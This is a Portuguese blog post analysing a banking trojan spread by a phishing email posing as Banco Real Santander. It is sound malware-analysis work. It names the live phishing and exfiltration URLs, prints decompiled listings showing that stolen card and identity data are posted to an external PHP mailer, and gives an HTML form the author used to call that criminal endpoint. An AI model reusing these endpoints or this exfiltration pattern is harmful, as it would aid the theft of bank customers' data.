Essa fraude tinha o objetivo de atingir os clientes do Banco Real Santander que utilizam o serviço de Internet Banking.
No dia 07/11/2010 recebi uma mensagem de spam phishing que continha os campos “De: atendimento@mail.real.com” e “Assunto: Atualização de Segurança Banco Real Santander.”.
Havia um link na mensagem que apontava para a URL:
http://www.danseavecnousbordeaux.com/includes/gal_079/medium/RealWebSecure/SecureWebReal.php?codcliente=72429
Ao clicar no link foi solicitado o download do arquivo:
Nome: Real-SecureWeb.exe (Trojan-Banker.Win32.Banker2.aew)
MD5: 2f0ece4c716a7be1d41d1b9803b27b05
O primeiro passo da análise foi identificar se o executável possuía algum tipo de compactador, isso pode ser feito utilizando o Exeinfo PE.
Como podemos ver, o arquivo Real-SecureWeb.exe foi compactado com o WinZip Sfx (Self-extracting). O módulo Sfx do WinZip permite descompactar arquivos automaticamente sem a necessidade de outros programas, o próprio executável carrega o módulo de descompactação.
Sendo assim possivelmente quando executado o Real-SecureWeb.exe deve descompactar outro(s) arquivo(s).
Para monitorar a execução do malware no sistema operacional, utilizei a ferramenta Process Monitor da Microsoft, anteriormente na Sysinternals.
Process Monitor é uma ferramenta de monitoramento para Windows que mostra em tempo real atividades de sistema, arquivos, registro, processos e threads. Com ela é possível criar filtros para exibir apenas determinados processos e obter muitas informações do que está acontecendo no ambiente.
Executei o Process Monitor, ativei a captura de todos os processos e executei o Real-SecureWeb.exe para descobrir suas interações com o sistema operacional.
O malware entrou em execução e apresentou três janelas:
Podemos ver que esse malware pretende capturar todas as informações possíveis das vítimas, até o Nome do Pai, Profissão e Empresa Atual.
Digitei informações fictícias em todas as telas e fui até o final, quando cliquei em “Confirmar” o malware exibiu uma mensagem de verificação dos dados e desapareceu.
Agora era hora de verificar os logs do Process Monitor para descobrir quais atividades ele executou no sistema operacional.
Foram gerados 1739 eventos relativos ao malware, o log com todos pode ser baixado aqui.
Analisarei apenas os principais eventos para entendermos o funcionamento do malware.
Conforme a imagem abaixo, vemos na janela do Process Monitor várias colunas:
Time of Day, Process Name, PID, Operation, Path, Result, Detail
Para facilitar a leitura listarei somente as colunas: Time of Day, Process Name e Operation. Path, Result e Detail serão exibidas quando necessárias.
Então vamos começar!
03:08:27,7929130,"Real-SecureWeb.exe","Process Start" 03:08:27,7929161,"Real-SecureWeb.exe","Thread Create" |
O processo é criado com o nome Real-SecureWeb.exe |
03:08:27,8509919,"Real-SecureWeb.exe","Load Image","C:\...\system32\kernel32.dll" 03:08:27,8523351,"Real-SecureWeb.exe","Load Image","C:\...\system32\advapi32.dll" 03:08:27,8525857,"Real-SecureWeb.exe","Load Image","C:\...\system32\rpcrt4.dll" 03:08:27,8528159,"Real-SecureWeb.exe","Load Image","C:\...\system32\secur32.dll" 03:08:27,8532408,"Real-SecureWeb.exe","Load Image","C:\..\system32\gdi32.dll" 03:08:27,8534743,"Real-SecureWeb.exe","Load Image","C:\...\system32\user32.dll" 03:08:27,8537814,"Real-SecureWeb.exe","Load Image","C:\...\system32\msvcrt.dll" |
O malware carrega algumas DLLs que irá utilizar, são os Imports. |
03:08:27,8822381,"Real-SecureWeb.exe","CreateFile", "C:\Documents and Settings\user\Configurações locais\Temp\IXP000.TMP", "NAME NOT FOUND","Desired Access: Read Attributes, Delete, Synchronize, Disposition: Open, Options: Directory, Synchronous IO Non-Alert, Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a" |
Apesar do nome dessa operação ser Create File, pelos detalhes vemos que a função desejada era de Abrir esse diretório. Como resposta o comando retornou que não foi encontrado. |
03:08:27,8825808,"Real-SecureWeb.exe","CreateFile", "C:\Documents and Settings\user\Configurações locais\Temp\IXP000.TMP", "SUCCESS","Desired Access: Read Data/List Directory, Synchronize, Disposition: Create, Options: Directory, Synchronous IO Non-Alert, Attributes: N, ShareMode: Read, Write, AllocationSize: 0, OpenResult: Created" |
Como não foi encontrado esse diretório anteriormente, dessa vez ele criou com sucesso. |
03:08:27,9536312,"Real-SecureWeb.exe","ReadFile", "C:\Documents and Settings\user\...\Real-SecureWeb.exe", "SUCCESS","Offset: 83.456, Length: 16.384, I/O Flags: Non-cached, Paging I/O, Synchronous Paging I/O" |
Lê um determinado Offset do próprio arquivo Real-SecureWeb.exe |
03:08:27,9544827,"Real-SecureWeb.exe","QueryOpen", "C:\Documents and Settings\user\Configurações locais\Temp\IXP000.TMP\Real.exe", "NAME NOT FOUND","" |
Tenta abrir o arquivo Real.exe dentro do diretório criado anteriormente mas recebe mensagem que o arquivo não existe. |
03:08:27,9547230,"Real-SecureWeb.exe","CreateFile", "C:\Documents and Settings\user\Configurações locais\Temp\IXP000.TMP\Real.exe", "SUCCESS","Desired Access: Generic Write, Read Attributes, Disposition: OverwriteIf, Options: Synchronous IO Non-Alert, Non-Directory File, Attributes: N, ShareMode: None, AllocationSize: 0, OpenResult: Created" |
Cria o arquivo Real.exe com a opções de sobrescrever caso já exista. |
03:08:27,9553554,"Real-SecureWeb.exe","ReadFile","C:\Doc...\Real-SecureWeb.exe" 03:08:27,9572141,"Real-SecureWeb.exe","WriteFile","C:\...\Temp\IXP000.TMP\Real.exe" |
Esse tipo de evento ocorre várias vezes no log, lê o arquivo Real-SecureWeb.exe e escreve no Real.exe. O que podemos entender por isso? É o processo de descompactação do Winzip Sfx, está gerando outro arquivo a partir do arquivo original. |
03:08:27,9863432,"Real-SecureWeb.exe","ReadFile","C:\Doc...\Real-SecureWeb.exe" 03:08:27,9873914,"Real-SecureWeb.exe","WriteFile","C:\...\Temp\IXP000.TMP\Reals.exe" |
Está realizando o mesmo procedimento anterior, só que agora está criando um outro arquivo, o Reals.exe. Esse é o segundo arquivo que estava compactado no arquivo original. |
03:08:28,1146036,"Real-SecureWeb.exe","Process Create","C:\.\IXP000.TMP\Real.exe" 03:08:28,1146070,"Real.exe","Process Start","","SUCCESS","Parent PID: 3204" 03:08:28,1146095,"Real.exe","Thread Create","","SUCCESS","Thread ID: 3212" |
Aqui o processo original inicia um novo processo executando o arquivo Real.exe, o primeiro que foi descompactado, e então o Real.exe entra em ação exibindo a primeira janela do malware que já vimos anteriormente. Até aqui vemos que pela coluna de Time foi gasto menos de 1 segundo para realizar todas essas tarefas. |
03:10:45,1509465,"Real.exe","CreateFile","C:\indentificando.txt" 03:10:45,1523162,"Real.exe","WriteFile","C:\indentificando.txt" 03:10:45,1529191,"Real.exe","CloseFile","C:\indentificando.txt" |
O processo Real.exe cria o arquivo identificando.txt em C:\ |
03:10:51,6317191,"Real.exe","Thread Exit" 03:10:51,6328494,"Real.exe","Process Exit" |
Novamente pela coluna de Time dessa vez vemos que o processo se encerrou cerca de 2 minutos e 23 segundos após ser criado. Esse foi o tempo gasto para digitar as informações nas três telas do malware. |
03:10:51,6474898,"Real-SecureWeb.exe","Process Create","C:\.\IXP000.TMP\Reals.exe" 03:10:51,6474931,"Reals.exe","Process Start" 03:10:51,6474956,"Reals.exe","Thread Create" |
O Real-SecureWeb.exe reassume o controle e dessa vez executa o segundo arquivo descompactado Reals.exe. |
03:10:51,7250893,"Reals.exe","ReadFile","C:\indentificando.txt" 03:10:51,7263682,"Reals.exe","CloseFile","C:\indentificando.txt" |
O Reals.exe lê o arquivo identificando.txt que foi anteriormente criado pelo Real.exe. |
03:10:51,7282791,"Reals.exe","Load Image","C:\WINDOWS\system32\mswsock.dll" 03:10:51,7337214,"Reals.exe","Load Image","C:\WINDOWS\system32\wshtcpip.dll" 03:10:51,7371456,"Reals.exe","Load Image","C:\WINDOWS\system32\dnsapi.dll" |
São carregas várias DLLs referentes à funções de rede. |
03:10:51,7551440,"Reals.exe","SetDispositionInformationFile","C:\indentificando.txt", "SUCCESS","Delete: True" |
O arquivo identificando.txt é apagado. |
03:10:51,7663873,"Reals.exe","4016","Thread Exit" 03:10:51,7667714,"Reals.exe","4016","Process Exit" |
O processo Reals.exe é finalizado. |
03:10:51,7780824,"Real-SecureWeb.exe","SetDispositionInformationFile", "C:\...\Temp\IXP000.TMP\Real.exe","SUCCESS","Delete: True" |
Novamente o processo Real-SecureWeb.exe está no comando e apaga o arquivo Real.exe. |
03:10:51,7933921,"Real-SecureWeb.exe","CreateFile","C:\...\Temp\IXP000.TMP\Reals.exe", "SHARING VIOLATION","Desired Access: Read Attributes, Delete, Disposition: Open, Options: Non-Directory File, Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a" |
Nesse evento dá erro quando malware tenta apagar o arquivo Reals.exe. |
03:10:51,7979427,"Real-SecureWeb.exe","SetDispositionInformationFile", "C:\...\Temp\IXP000.TMP","NOT EMPTY","Delete: True" |
Aqui também dá erro quando tenta apagar o diretório IXP000.TMP pois não estava vazio já que não conseguiu apagar o Reals.exe anteriormente. |
03:10:51,8033920,"Real-SecureWeb.exe","Thread Exit" 03:10:51,8037046,"Real-SecureWeb.exe","Process Exit" |
O processo principal Real-SecureWeb.exe é finalizado. |
Através do Process Monitor conseguimos obter muitas informações importantes. Basicamente ao ser executado o malware descompacta dois arquivos, o primeiro, Real.exe, é responsável por coletar as informações que o usuário digita em suas telas e possivelmente salvar em um arquivo TXT e o segundo, Reals.exe, possivelmente deve enviar o TXT pela Internet.
Após realizar todas essas funções o malware tenta limpar seus rastros apagando os arquivos envolvidos na fraude, mas como vimos existem algumas falhas.
Em uma segunda execução do malware, antes que fossem apagados capturei os três arquivos criados: Real.exe, Reals.exe e identificando.txt.
Conforme foi constado nos logs capturados pelo Process Monitor, o arquivo Real-SecureWeb.exe descompactava e executava dois arquivos: Real.exe e Reals.exe.
E ainda, o arquivo Real.exe gerava um outro chamado indentificando.txt. Isso mesmo, INdentificando, só agora notei essa grafia errada que foi utizada para nomear o arquivo. Isso por sinal é uma constante nesse malware, palavras escritas erradas e expressões chulas.
Vejamos agora a análise de cada um desses três arquivos.
1) Real.exe
O primeiro passo é descobrir se o executável possuí algum compactador (packer), fiz isso utilizando o RDG Packer Detector.
Não foi encontrado nada, identificou a linguagem de programação Borland Delphi v6.0 ou v7.0. Outro detalhe interessante que o RDG apresentou corretamente foi a origem do malware.
Sabendo que é Delphi, podemos tentar a descompilação com o DeDe, que costuma apresentar bons resultados como por exemplo Forms, Units e Eventos recuperados.
Ao submeter o arquivo Real.exe ao DeDe foi identificado o nome do projeto “dragon”, também encontrou um Form chamado “dilma” (!), a Unit chamada “orion” e alguns nomes de componentes. Isso pode ser visto na imagem abaixo.
Sabemos que o Real.exe é responsável por apresentar as telas do malware onde as vítimas digitam os dados e também vimos no artigo anterior que ele cria o arquivo indentificando.txt através dessas diretivas:
03:10:45,1509465,"Real.exe","CreateFile","C:\indentificando.txt"
03:10:45,1523162,"Real.exe","WriteFile","C:\indentificando.txt" 03:10:45,1529191,"Real.exe","CloseFile","C:\indentificando.txt"
No código descompilado não foi possível encontrar esse caminho do arquivo indentificando.txt, isso porque a string está criptografada com uma função interna do malware, através do debug seria possível localizá-la.
Porém, no código há algumas pistas do que esse arquivo pode conter, no Form “dilma” existe um botão “Confirmar” que possui atríbuído ao evento OnClick uma procedure chamada “vaiClick”:
procedure Tdilma.vaiClick(Sender : Tobject);
Nessa procedure, dentre outras coisas, existe a captura de todos os dados que foram digitados nos campos do formulário (componentes TEdit) e ao final esses dados são atribuídos a um componente TMemo que foi nomeado de forma bem culta, “xupameupinto”.
Tdilma.xupameupinto : TMemo
O que se segue são sequências de funções que atribuem ao componente TMemo linhas que contêm um rótulo e a informação que a vítima digitou.
Reference to control Tdilma.xupameupinto : TMemo
Reference to field TMemo.Lines : Tstrings
Possible String Reference to: '********************************'
Reference to method Tstrings.Add(string)
Reference to method TStrings.Add(string)
Reference to control Tdilma.a3 : TEdit
Reference to: Controls.TControl.GetText(TControl):TCaption;
Possible String Reference to: 'AG..........:'
Reference to control Tdilma.xupameupinto : TMemo
Reference to field TMemo.Lines : TStrings
Reference to method TStrings.Add(string)
Reference to control Tdilma.a4 : TEdit
Reference to: Controls.TControl.GetText(TControl):TCaption;
Possible String Reference to: 'Cont........:'
Reference to control Tdilma.xupameupinto : TMemo
Reference to field TMemo.Lines : TStrings
Reference to method TStrings.Add(string)
Reference to control Tdilma.CC : TcomboBox
Reference to: Controls.TControl.GetText(TControl):TCaption;
Possible String Reference to: 'bandeira....:'
Essa sequência se repete para todos os campos Edits, até que no final é utilizado o método Tstrings.SaveToFile(string) e é passada como parâmetro uma string criptografada, que deve ser o caminho “C:\indentificando.txt”.
Possible String Reference to: 'GpfSQMvaPMvqQMPfOs5kP6ykT7Xq'
Reference to: System.@LStrToPChar(String):PAnsiChar;
Reference to method TStrings.SaveToFile(string)
Possible String Reference to: 'Obrigado por sua atenção o Banco Real Santander agradece.'
2) indentificando.txt
Ao analisar o arquivo indentificando.txt foi encontrado esse conteúdo:
******************************** AG..........:1111 Cont........:1111111 bandeira....:Visa CC..........:1111-1111-1111-1111 vencimento..:1/2014 Senha/3.....:111 disk........:1111 ********************************************** Dados Confirmação CPF..........................:111.111.111-11 RG...........................:111111111111 Naturalidade.................:aaaaaaaaaa Nome do Pai..................:aaaaaaaaaaa Estado Civil.................:aaaaaaaaaaaaaa nome do corno................:aaaaaaaaaa escolaridade.................:Pós-Graduação formado......................:aaaaaaaaa Profissão....................:aaaaaaaaaa Empressa Atual...............:aaaaaaaaaaaa Empresa quando abriu conta...:aaaaaaaaa Tempo de conta...............:aaaaaaaaaaaa ********************************************** |
A Imagem abaixo mostra isso:
O conteúdo corrobora o que foi encontrado nos códigos do Delphi no arquivo Real.exe.
3) Reals.exe
A análise do nosso terceiro arquivo seguiu o mesmo esquema do anterior. Foi identificada a linguagem Delphi e depois feita a descompilação com o DeDe.
Dessa vez o projeto foi nomeado como “pugaaqui”, o Form “bobiodanco” e a Unit “unidosvaiser”.
Destaque para os nomes dos componentes e procedures da Unit:
carregasualma: TMemo;
tempobom: TTimer;
amuandomtu: TIdHTTP;
procedure goldeletra(Sender : TObject);
procedure tempobomTimer(Sender : TObject);
Vejamos o que a procedure tempobomTimer faz.
procedure Tbobiodanco.tempobomTimer(Sender : TObject);
begin
Possible String Reference to: 'C:\indentificando.txt'
Reference to: SysUtils.FileExists(AnsiString):Boolean;
Reference to control Tbobiodanco.carregasualma : TMemo
Reference to field TMemo.Lines : TStrings
Possible String Reference to: 'C:\indentificando.txt'
Reference to method TStrings.LoadFromFile(string)
Reference to bobiodanco
Reference to : Tbobiodanco.goldeletra()
end;
Basicamente lê o arquivo indentificando.txt, atribui seu conteúdo ao TMemo e chama a procedure goldeletra.
Vejamos a goldeletra agora.
procedure Tbobiodanco.goldeletra(Sender : TObject);
begin
***** TRY
Reference to class TStringList
Reference to: System.TObject.Create(TObject;Boolean);
Reference to bobiodanco
Reference to control Tbobiodanco.carregasualma : TMemo
Reference to field TMemo.Lines : TStrings
Reference to method TStrings.Put(Integer,string)
Possible String Reference to: 'praque=xxxxxx@gmail.com,yyyyyyy@gmail.com'
Reference to method TStringList.Add(string)
Possible String Reference to: 'titul=xxxxxxxxxxxx'
Reference to method TStringList.Add(string)
Reference to bobiodanco
Reference to control Tbobiodanco.carregasualma : TMemo
Reference to: Controls.TControl.GetText(TControl):TCaption;
Possible String Reference to: 'text='
Reference to: System.@LStrCat3;
Reference to method TStringList.Add(string)
***** TRY
Reference to bobiodanco
Reference to control Tbobiodanco.amuandomtu : TIdHTTP
Possible String Reference to: 'http://esec.ru/upload/noro.php'
Reference to bobiodanco
Reference to control Tbobiodanco.tempobom : TTimer
Reference to: ExtCtrls.TTimer.SetEnabled(TTimer;Boolean);
****** FINALLY
Reference to bobiodanco
Reference to control Tbobiodanco.amuandomtu : TIdHTTP
Reference to: System.TObject.Free(TObject);
Reference to: System.TObject.Free(TObject);
Possible String Reference to: 'C:\indentificando.txt'
Reference to: Grids.TInplaceEdit.Visible(TInplaceEdit):Boolean;
Reference to TApplication instance
Reference to: Forms.TApplication.Terminate(TApplication);
Reference to: System.@HandleFinally;
****** END
****** FINALLY
end;
Vemos aqui quanta informação útil o DeDe conseguiu recuperar através do processo de descompilação do executável.
Essa procedure goldeletra atribui dois endereços de e-mail para a variável “praque”, atribui um título qualquer para a variável “titul” e atribui o conteúdo do componente TMemo para a variável “text”.
Depois através de um componente de conexão HTTP se conecta ao endereço “http://esec.ru/upload/noro.php”. Por fim libera os componentes utilizados.
Então assim como constatei na análise da fraude do iToken Itaú, esse malware utiliza uma página PHP para enviar por e-mail para os fraudadores os dados furtados.
Para testar esse procedimento de envio de e-mail primeiro tentei passar o conteúdo das variáveis pela URL através do método GET digitando no navegador:
http://esec.ru/upload/noro.php?praque=rplmetal@ig.com.br&titul=assunto&text=qualquercoisa
Isso não funcionou, lembrei então que na fraude do iToken era utilizado o método POST de envio de variáveis, assim só poderia enviar as informações através de um formulário HTML.
Criei o formulário HTML com esse código:
<form name="form1" method="post" action="http://esec.ru/upload/noro.php">
Email: <input type="text" name="praque" size="40"><br><br>
Assunto: <input type="text" name="titul" size="40"><br><br>
Texto: <input type="text" name="text" size="40"><br><br>
<input type="submit">
</form>
E enviei com os campos preenchidos conforme a imagem abaixo:
Após clicar no botão Enviar fui conferir meu e-mail para ver se havia chegado a mensagem. Conforme o esperado isso realmente aconteceu:
Conclusão
Ao analisar as duas partes desse artigo nota-se que esse malware é bem direto e objetivo. Executa, solicita as informações, envia por e-mail e depois apaga tudo (tenta pelo menos). Não faz nenhuma modificação no computador além dessas.
O comportamento dele me lembrou do programa utilizado para enviar a declaração de Imposto de Renda. No sistema da Receita Federal utiliza-se um programa para preencher a declaração e salvar no computador e outro (ReceitaNet) para enviar pela Internet.
A mesma coisa acontece com esse golpe, em um programa preenche-se a “declaração” para o fraudador e é salva no computador e o outro envia a “declaração”.
Vimos que com o uso de variadas técnicas e ferramentas podemos obter valiosas informações sobre o comportamento dos malwares.
Comentários?
Comentário enriquecedor feito pelo Rodrigo Lima:
Esse tipo de malware é conhecido no underground dos criminosos como "Módulo de Controle". O objetivo final é obter êxito na fraude através do canal de telefônia existente no Banco Real chamado Disque Real.
Observe que nem os dados de acesso ao Internet Banking é solicitado, as perguntas existentes nesse formulário uma vez capturado da vítima são utilizados durante a engenharia social entre o fraudador e o operador(a) do Disque Real.
Outra coisa são os mais variados tipos de Anti-Virus que em sua grande maioria não classificam esse tipo de arquivo como malware nem assinatura existe :-(
Observe que nem os dados de acesso ao Internet Banking é solicitado, as perguntas existentes nesse formulário uma vez capturado da vítima são utilizados durante a engenharia social entre o fraudador e o operador(a) do Disque Real.
Outra coisa são os mais variados tipos de Anti-Virus que em sua grande maioria não classificam esse tipo de arquivo como malware nem assinatura existe :-(